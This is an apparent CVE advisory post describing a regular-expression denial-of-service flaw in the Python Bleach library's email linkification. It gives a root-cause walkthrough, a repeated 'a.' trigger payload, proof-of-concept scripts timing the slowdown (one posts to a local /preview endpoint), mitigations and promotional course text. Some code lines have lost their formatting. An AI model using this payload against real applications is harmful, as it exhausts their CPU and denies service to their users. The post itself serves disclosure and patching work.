Listen to this Post
How the Mentioned CVE Works
Bleach 6.3.0 exposes a documented email-linkification path through bleach.linkify(..., parse_email=True). The implementation scans attacker-controlled text with `EMAIL_RE.finditer()` over the full character token and has no length, timeout, or linear prefilter before applying the dot-atom email regex. A non-email payload around 30 KB causes multi-second CPU consumption per request/call, creating a direct availability risk for applications that enable email linkification on user-submitted text.
The root cause lies in `bleach/linkifier.py` where `handle_email_addresses()` calls `self.email_re.finditer(text)` on attacker-controlled text. `EMAIL_RE` includes a repeated dot-atom local-part pattern, so non-email strings such as repeated `a.` segments with no `@` force repeated long failing scans. This inefficient regular expression complexity (CWE-1333) allows a remote user to cause a denial of service.
Only applications that enable `parse_email=True` on untrusted text are affected. The relevant code path starts in `bleach/__init__.py:85-125` where public `linkify(text, …, parse_email=False)` constructs `Linker(…, parse_email=parse_email)` and calls linker.linkify(text). Then `bleach/linkifier.py:77-88` compiles `EMAIL_RE` from the dot-atom email pattern, and `bleach/linkifier.py:292-301` applies `self.email_re.finditer(text)` to each character token. Finally, `bleach/linkifier.py:620-623` routes character tokens into email handling only when `parse_email` is true.
The attack preconditions require the consuming application to enable parse_email=True, the attacker to submit text reaching that linkification path, the application to allow roughly 20-30 KB of text without strict timeout or input cap, and no custom bounded `email_re` supplied.
Minimal API trigger: import bleach; payload = ("a." 15000) + "a"; bleach.linkify(payload, parse_email=True). Measured HTTP proof results against Bleach 6.3.0 with Python 3.12.3 on Linux show: normal baseline `/preview` mean 0.001425 seconds, same 30 KB payload with parse_email=False: 0.048349 seconds, attack payload with parse_email=True: 8.719818 seconds — a slowdown of 180.35x versus the baseline/control mean.
DailyCVE Form:
Platform: Python pip
Version: 6.3.0
Vulnerability: ReDoS (CWE-1333)
Severity: Medium
date: 2026-06-08
Prediction: 2026-06-30
What Undercode Say:
Analytics:
The vulnerability exposes a documented email-linkification path through bleach.linkify(..., parse_email=True). The implementation scans attacker-controlled text with `EMAIL_RE.finditer()` over the full character token and has no length, timeout, or linear prefilter before applying the dot-atom email regex. A non-email payload around 30 KB causes multi-second CPU consumption per request/call, creating a direct availability risk for applications that enable email linkification on user-submitted text.
Verify installed version pip show bleach | grep Version Check if parse_email=True is used in your codebase grep -r "parse_email=True" /path/to/your/code/
Vulnerable code pattern
import bleach
user_text = request.form.get('comment')
html_output = bleach.linkify(user_text, parse_email=True) DANGER
Exploit:
Proof of Concept (poc.py):
import bleach
import time
Payload: 30,001 bytes of "a." repeated, no '@' symbol
payload = ("a." 15000) + "a"
Attack: parse_email=True causes ~8.7 seconds CPU consumption
start = time.time()
bleach.linkify(payload, parse_email=True)
print(f"Attack time: {time.time() - start:.6f}s")
Control: parse_email=False processes quickly
start = time.time()
bleach.linkify(payload, parse_email=False)
print(f"Control time: {time.time() - start:.6f}s")
HTTP Proof (exploit_proof.py):
import requests
import time
payload = ("a." 15000) + "a"
Attack request
start = time.time()
requests.post("http://127.0.0.1/preview", data=payload)
print(f"Attack: {time.time() - start:.6f}s")
Control request
start = time.time()
requests.post("http://127.0.0.1/preview?parse_email=false", data=payload)
print(f"Control: {time.time() - start:.6f}s")
Protection:
- Disable email linkification on untrusted input: set `parse_email=False` (default)
- Implement input size limits before passing text to Bleach (e.g., reject payloads > 10 KB)
- Apply request timeouts at the application/load balancer level (e.g., 1-2 seconds)
- Upgrade to patched version when available — check `bleach` PyPI for updates
- Use `LinkifyFilter` as a filter in the clean pass instead of `bleach.linkify()` directly
- Monitor CPU usage for unusual spikes when processing user-submitted text
Impact:
Direct Impact: Per-request CPU exhaustion / denial-of-service risk in applications that enable `parse_email=True` on attacker-controlled text. A 30 KB payload causes ~8.7 seconds of CPU consumption per request, 180x slower than normal processing.
Chain Impact: One proof run observed an unrelated `/health` request delayed during a concurrent attack request, but this was not reliable across reviewer retests. Cross-request service degradation is environment-dependent supporting evidence, not the primary impact.
Scope Limitations:
- No XSS, authentication bypass, data disclosure, remote code execution, persistent crash, or persistent service outage
– `parse_email=True` is not the default; affected path is a documented opt-in feature - Practical impact depends on host application input limits, worker model, request timeout policy, and whether untrusted users can submit text to an email-linkification path
- Bleach is marked deprecated in
README.rst, and `SECURITY.md` has stale supported-version text, but the package still has a 2025 PyPI release and published Mozilla security reporting routes
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

